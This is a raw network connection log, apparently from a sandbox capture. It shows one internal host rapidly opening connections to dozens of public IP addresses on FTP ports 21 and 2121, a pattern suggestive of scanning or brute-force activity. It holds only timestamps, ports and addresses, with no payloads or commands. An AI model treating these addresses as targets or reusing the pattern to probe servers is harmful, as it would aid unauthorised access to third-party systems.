Aug 23, 2023 09:16:34.673759937 CEST	21	52235	218.44.250.29	192.168.2.3
Aug 23, 2023 09:16:34.674550056 CEST	52295	21	192.168.2.3	96.7.147.185
Aug 23, 2023 09:16:34.680459023 CEST	2121	52290	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.682971001 CEST	2121	52294	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.683100939 CEST	52294	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.696512938 CEST	21	52277	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:34.696666956 CEST	21	52277	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:34.696701050 CEST	52277	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:34.696742058 CEST	52277	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:34.697912931 CEST	52296	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:34.724996090 CEST	52286	21	192.168.2.3	37.186.115.128
Aug 23, 2023 09:16:34.725039959 CEST	52250	2121	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:34.729985952 CEST	21	52234	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:34.730009079 CEST	21	52234	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:34.730091095 CEST	52234	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:34.730221033 CEST	52234	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:34.731086969 CEST	52297	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:34.783231974 CEST	21	52291	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:34.783601046 CEST	52291	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:34.804855108 CEST	21	52286	37.186.115.128	192.168.2.3
Aug 23, 2023 09:16:34.821531057 CEST	21	52293	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.821948051 CEST	52293	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.838289976 CEST	21	52293	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.838471889 CEST	21	52293	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.838896990 CEST	52293	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.855271101 CEST	21	52293	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.867901087 CEST	21	52277	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:34.869343042 CEST	21	52296	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:34.869441032 CEST	52296	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:34.887696028 CEST	2121	52294	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.888623953 CEST	52294	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.898010015 CEST	2121	52250	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:34.899066925 CEST	52298	2121	192.168.2.3	96.7.147.185
Aug 23, 2023 09:16:34.912512064 CEST	52288	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.919078112 CEST	2121	52294	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.921088934 CEST	2121	52294	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.921525955 CEST	52294	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.928133011 CEST	52251	21	192.168.2.3	126.23.237.89
Aug 23, 2023 09:16:34.928133965 CEST	52252	2121	192.168.2.3	126.23.237.89
Aug 23, 2023 09:16:34.928806067 CEST	21	52288	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.943430901 CEST	21	52234	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:34.944664001 CEST	21	52297	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:34.944755077 CEST	52297	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:34.952306032 CEST	21	52293	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.952620983 CEST	52293	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.955043077 CEST	2121	52294	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.955864906 CEST	52294	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.959398031 CEST	52239	2121	192.168.2.3	218.44.250.29
Aug 23, 2023 09:16:34.969136953 CEST	21	52293	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.969187021 CEST	21	52293	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.969224930 CEST	21	52293	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.969283104 CEST	52293	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.969400883 CEST	52293	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.970165968 CEST	52299	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.975137949 CEST	52216	2121	192.168.2.3	200.39.100.99
Aug 23, 2023 09:16:34.975137949 CEST	52214	2121	192.168.2.3	76.104.49.137
Aug 23, 2023 09:16:34.975209951 CEST	52215	21	192.168.2.3	200.39.100.99
Aug 23, 2023 09:16:34.975209951 CEST	52213	21	192.168.2.3	76.104.49.137
Aug 23, 2023 09:16:34.986509085 CEST	21	52299	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.986618996 CEST	52299	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.987076998 CEST	2121	52294	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.987268925 CEST	52294	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.987695932 CEST	2121	52294	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.987843990 CEST	52294	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.988033056 CEST	52300	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.990619898 CEST	52217	21	192.168.2.3	49.61.150.119
Aug 23, 2023 09:16:34.990751982 CEST	52289	21	192.168.2.3	69.110.154.125
Aug 23, 2023 09:16:34.990809917 CEST	52218	2121	192.168.2.3	49.61.150.119
Aug 23, 2023 09:16:35.007386923 CEST	52301	21	192.168.2.3	212.242.98.229
Aug 23, 2023 09:16:35.007514954 CEST	52302	2121	192.168.2.3	212.242.98.229
Aug 23, 2023 09:16:35.012314081 CEST	21	52291	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:35.012610912 CEST	21	52291	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:35.012959957 CEST	52291	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:35.016824007 CEST	2121	52300	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.016901016 CEST	52300	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.017573118 CEST	2121	52294	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.021881104 CEST	52292	2121	192.168.2.3	69.110.154.125
Aug 23, 2023 09:16:35.167078972 CEST	21	52297	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:35.167717934 CEST	21	52289	69.110.154.125	192.168.2.3
Aug 23, 2023 09:16:35.168036938 CEST	52297	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:35.201297045 CEST	2121	52292	69.110.154.125	192.168.2.3
Aug 23, 2023 09:16:35.206674099 CEST	21	52299	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.208997011 CEST	52299	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.218730927 CEST	21	52251	126.23.237.89	192.168.2.3
Aug 23, 2023 09:16:35.219559908 CEST	52303	21	192.168.2.3	129.146.236.7
Aug 23, 2023 09:16:35.219676018 CEST	2121	52252	126.23.237.89	192.168.2.3
Aug 23, 2023 09:16:35.220282078 CEST	52304	2121	192.168.2.3	129.146.236.7
Aug 23, 2023 09:16:35.223395109 CEST	2121	52300	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.223623991 CEST	52300	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.225235939 CEST	21	52296	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:35.225274086 CEST	21	52299	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.225537062 CEST	52296	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:35.225893974 CEST	21	52299	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.226139069 CEST	52299	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.240766048 CEST	52227	2121	192.168.2.3	73.235.4.238
Aug 23, 2023 09:16:35.240822077 CEST	52223	2121	192.168.2.3	88.136.23.248
Aug 23, 2023 09:16:35.240822077 CEST	52225	21	192.168.2.3	73.235.4.238
Aug 23, 2023 09:16:35.242006063 CEST	21	52291	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:35.242280960 CEST	52291	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:35.242368937 CEST	21	52299	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.255439997 CEST	2121	52300	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.256346941 CEST	52226	2121	192.168.2.3	38.173.132.62
Aug 23, 2023 09:16:35.256406069 CEST	52222	21	192.168.2.3	88.136.23.248
Aug 23, 2023 09:16:35.256567001 CEST	52224	21	192.168.2.3	38.173.132.62
Aug 23, 2023 09:16:35.257096052 CEST	52306	2121	192.168.2.3	86.8.26.40
Aug 23, 2023 09:16:35.257108927 CEST	2121	52300	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.257153034 CEST	52305	21	192.168.2.3	86.8.26.40
Aug 23, 2023 09:16:35.259650946 CEST	52300	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.271914005 CEST	52293	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.273720980 CEST	52307	21	192.168.2.3	190.173.148.21
Aug 23, 2023 09:16:35.288124084 CEST	21	52293	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.288849115 CEST	52308	2121	192.168.2.3	190.173.148.21
Aug 23, 2023 09:16:35.288855076 CEST	52309	21	192.168.2.3	173.223.213.244
Aug 23, 2023 09:16:35.289587975 CEST	2121	52239	218.44.250.29	192.168.2.3
Aug 23, 2023 09:16:35.291091919 CEST	2121	52300	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.291121960 CEST	52310	2121	192.168.2.3	173.223.213.244
Aug 23, 2023 09:16:35.291743040 CEST	52300	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.318932056 CEST	52286	21	192.168.2.3	37.186.115.128
Aug 23, 2023 09:16:35.321547985 CEST	2121	52300	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.321600914 CEST	2121	52300	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.321938038 CEST	52300	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.322801113 CEST	52300	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.323525906 CEST	52311	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.324093103 CEST	21	52299	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.325767040 CEST	52299	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.342134953 CEST	21	52299	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.342195988 CEST	21	52299	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.342242956 CEST	21	52299	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.342488050 CEST	52299	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.342488050 CEST	52299	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.343494892 CEST	52312	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.351476908 CEST	2121	52300	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.354099035 CEST	2121	52311	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.356847048 CEST	52311	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.359733105 CEST	21	52312	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.360726118 CEST	52312	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.381486893 CEST	21	52297	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:35.396778107 CEST	21	52296	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:35.396971941 CEST	52229	21	192.168.2.3	95.252.24.109
Aug 23, 2023 09:16:35.397008896 CEST	52230	2121	192.168.2.3	95.252.24.109
Aug 23, 2023 09:16:35.398417950 CEST	21	52296	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:35.398868084 CEST	21	52286	37.186.115.128	192.168.2.3
Aug 23, 2023 09:16:35.400984049 CEST	52296	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:35.401266098 CEST	52313	21	192.168.2.3	109.129.203.98
Aug 23, 2023 09:16:35.471271038 CEST	21	52291	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:35.471323967 CEST	21	52291	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:35.471595049 CEST	52291	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:35.473073006 CEST	52291	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:35.474896908 CEST	52314	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:35.511145115 CEST	52315	2121	192.168.2.3	109.129.203.98
Aug 23, 2023 09:16:35.551511049 CEST	2121	52311	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.552361965 CEST	52311	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.570400000 CEST	52316	21	192.168.2.3	67.176.98.3
Aug 23, 2023 09:16:35.573065042 CEST	21	52296	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:35.573493958 CEST	52296	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:35.576034069 CEST	21	52312	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.576497078 CEST	52312	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.582914114 CEST	2121	52311	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.584064960 CEST	2121	52311	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.585726023 CEST	52311	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.592864990 CEST	21	52312	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.593349934 CEST	21	52312	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.595498085 CEST	52312	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.611758947 CEST	21	52312	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.619419098 CEST	2121	52311	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.620301008 CEST	52311	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.647178888 CEST	52299	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.651731968 CEST	2121	52311	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.652050972 CEST	52311	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.652206898 CEST	2121	52311	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.652776003 CEST	52317	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.653202057 CEST	52311	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.663512945 CEST	21	52299	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.672909021 CEST	21	52312	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.678060055 CEST	52312	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.679291964 CEST	52289	21	192.168.2.3	69.110.154.125
Aug 23, 2023 09:16:35.681821108 CEST	2121	52317	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.682044983 CEST	52317	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.682512045 CEST	2121	52311	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.694277048 CEST	21	52312	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.694341898 CEST	21	52312	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.694389105 CEST	21	52312	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.695338011 CEST	52312	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.695379972 CEST	52318	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.695534945 CEST	52312	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.701836109 CEST	21	52291	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:35.703152895 CEST	21	52314	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:35.703536034 CEST	52314	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:35.711581945 CEST	21	52312	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.711617947 CEST	52292	2121	192.168.2.3	69.110.154.125
Aug 23, 2023 09:16:35.711632013 CEST	21	52318	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.711971045 CEST	52318	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.745330095 CEST	21	52296	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:35.745399952 CEST	21	52296	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:35.745532990 CEST	52296	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:35.745764017 CEST	52296	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:35.746246099 CEST	52319	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:35.776921034 CEST	21	52318	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.777417898 CEST	52318	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.793699980 CEST	21	52318	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.793898106 CEST	21	52318	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.794405937 CEST	52318	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.810688019 CEST	21	52318	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.867099047 CEST	21	52289	69.110.154.125	192.168.2.3
Aug 23, 2023 09:16:35.869421959 CEST	52320	2121	192.168.2.3	67.176.98.3
Aug 23, 2023 09:16:35.872750998 CEST	21	52318	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.875854969 CEST	52318	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.889581919 CEST	2121	52317	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.889894962 CEST	52317	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.892113924 CEST	21	52318	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.892160892 CEST	21	52318	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.892195940 CEST	21	52318	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.892277002 CEST	52318	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.892513037 CEST	52318	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.895503998 CEST	52321	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.900443077 CEST	2121	52292	69.110.154.125	192.168.2.3
Aug 23, 2023 09:16:35.901180029 CEST	52322	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:35.908622026 CEST	21	52318	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.911739111 CEST	21	52321	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:35.913628101 CEST	52321	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:35.917074919 CEST	21	52296	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:35.917499065 CEST	21	52319	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:35.917618036 CEST	52319	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:35.918580055 CEST	2121	52317	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.920262098 CEST	2121	52317	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.927680016 CEST	52317	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.933669090 CEST	21	52314	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:35.937127113 CEST	52314	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:35.944807053 CEST	52323	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:35.959172010 CEST	2121	52317	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.965004921 CEST	52317	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.992847919 CEST	52324	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:35.994508028 CEST	2121	52317	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.994977951 CEST	2121	52317	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:35.995096922 CEST	52317	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.996753931 CEST	52325	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:35.996886969 CEST	52317	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.023904085 CEST	2121	52317	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.025707960 CEST	2121	52325	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.027420044 CEST	52325	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.071233034 CEST	52326	21	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:36.079543114 CEST	21	52322	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:36.080271959 CEST	52322	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:36.101751089 CEST	21	52321	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.102186918 CEST	52321	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.118438005 CEST	21	52321	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.118688107 CEST	21	52321	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.118967056 CEST	52321	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.135294914 CEST	21	52321	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.165319920 CEST	21	52314	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:36.167766094 CEST	21	52324	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:36.167869091 CEST	52324	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:36.172529936 CEST	21	52326	41.225.167.42	192.168.2.3
Aug 23, 2023 09:16:36.172652960 CEST	52326	21	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:36.187695980 CEST	21	52323	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:36.187824011 CEST	52323	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:36.196008921 CEST	21	52321	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.196789980 CEST	52321	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.213082075 CEST	21	52321	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.213119030 CEST	21	52321	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.213150978 CEST	21	52321	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.213242054 CEST	52321	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.213802099 CEST	52327	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.214718103 CEST	52321	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.229931116 CEST	2121	52325	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.229971886 CEST	21	52327	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.230077028 CEST	52327	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.230271101 CEST	52325	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.230866909 CEST	21	52321	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.233788013 CEST	21	52319	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:36.234018087 CEST	52319	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:36.258919954 CEST	2121	52325	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.260020971 CEST	21	52322	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:36.260307074 CEST	52322	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:36.260526896 CEST	2121	52325	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.260768890 CEST	52325	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.292293072 CEST	2121	52325	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.292634010 CEST	52325	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.293030024 CEST	21	52326	41.225.167.42	192.168.2.3
Aug 23, 2023 09:16:36.293154001 CEST	52326	21	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:36.293394089 CEST	52326	21	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:36.295038939 CEST	52328	21	192.168.2.3	108.184.79.201
Aug 23, 2023 09:16:36.304291010 CEST	52329	2121	192.168.2.3	108.184.79.201
Aug 23, 2023 09:16:36.304400921 CEST	52330	21	192.168.2.3	24.11.82.77
Aug 23, 2023 09:16:36.318864107 CEST	52253	21	192.168.2.3	87.13.255.189
Aug 23, 2023 09:16:36.318947077 CEST	52247	21	192.168.2.3	143.176.145.243
Aug 23, 2023 09:16:36.318957090 CEST	52244	2121	192.168.2.3	109.133.182.232
Aug 23, 2023 09:16:36.318968058 CEST	52241	21	192.168.2.3	18.160.109.186
Aug 23, 2023 09:16:36.319047928 CEST	52246	2121	192.168.2.3	90.224.64.139
Aug 23, 2023 09:16:36.321818113 CEST	2121	52325	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.322052956 CEST	52325	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.322400093 CEST	2121	52325	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.322493076 CEST	52325	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.322701931 CEST	52331	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.334486008 CEST	52243	21	192.168.2.3	109.133.182.232
Aug 23, 2023 09:16:36.334508896 CEST	52242	2121	192.168.2.3	18.160.109.186
Aug 23, 2023 09:16:36.334511042 CEST	52248	2121	192.168.2.3	143.176.145.243
Aug 23, 2023 09:16:36.334659100 CEST	52245	21	192.168.2.3	90.224.64.139
Aug 23, 2023 09:16:36.350912094 CEST	2121	52325	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.351726055 CEST	2121	52331	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:36.351810932 CEST	52331	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:36.354151964 CEST	21	52324	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:36.354505062 CEST	52324	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:36.365756989 CEST	52254	2121	192.168.2.3	87.13.255.189
Aug 23, 2023 09:16:36.382041931 CEST	21	52297	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:36.382401943 CEST	52297	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:36.395037889 CEST	21	52326	41.225.167.42	192.168.2.3
Aug 23, 2023 09:16:36.402614117 CEST	21	52314	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:36.402982950 CEST	52314	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:36.405447960 CEST	21	52319	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:36.406815052 CEST	21	52319	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:36.407114983 CEST	52319	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:36.433759928 CEST	21	52323	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:36.434601068 CEST	52323	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:36.438586950 CEST	21	52322	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:36.438644886 CEST	21	52322	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:36.439495087 CEST	52322	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:36.444350004 CEST	21	52327	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.444744110 CEST	52327	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.460987091 CEST	21	52327	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.462107897 CEST	21	52327	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.462542057 CEST	52327	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:36.476500034 CEST	52332	2121	192.168.2.3	24.11.82.77
Aug 23, 2023 09:16:36.477396965 CEST	52333	21	192.168.2.3	217.13.171.205
Aug 23, 2023 09:16:36.478775024 CEST	21	52327	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:36.480179071 CEST	21	52328	108.184.79.201	192.168.2.3
Aug 23, 2023 09:16:36.490776062 CEST	52255	21	192.168.2.3	23.239.20.253
Aug 23, 2023 09:16:36.491069078 CEST	2121	52329	108.184.79.201	192.168.2.3
Aug 23, 2023 09:16:36.503586054 CEST	21	52333	217.13.171.205	192.168.2.3
Aug 23, 2023 09:16:36.522823095 CEST	52334	2121	192.168.2.3	217.13.171.205
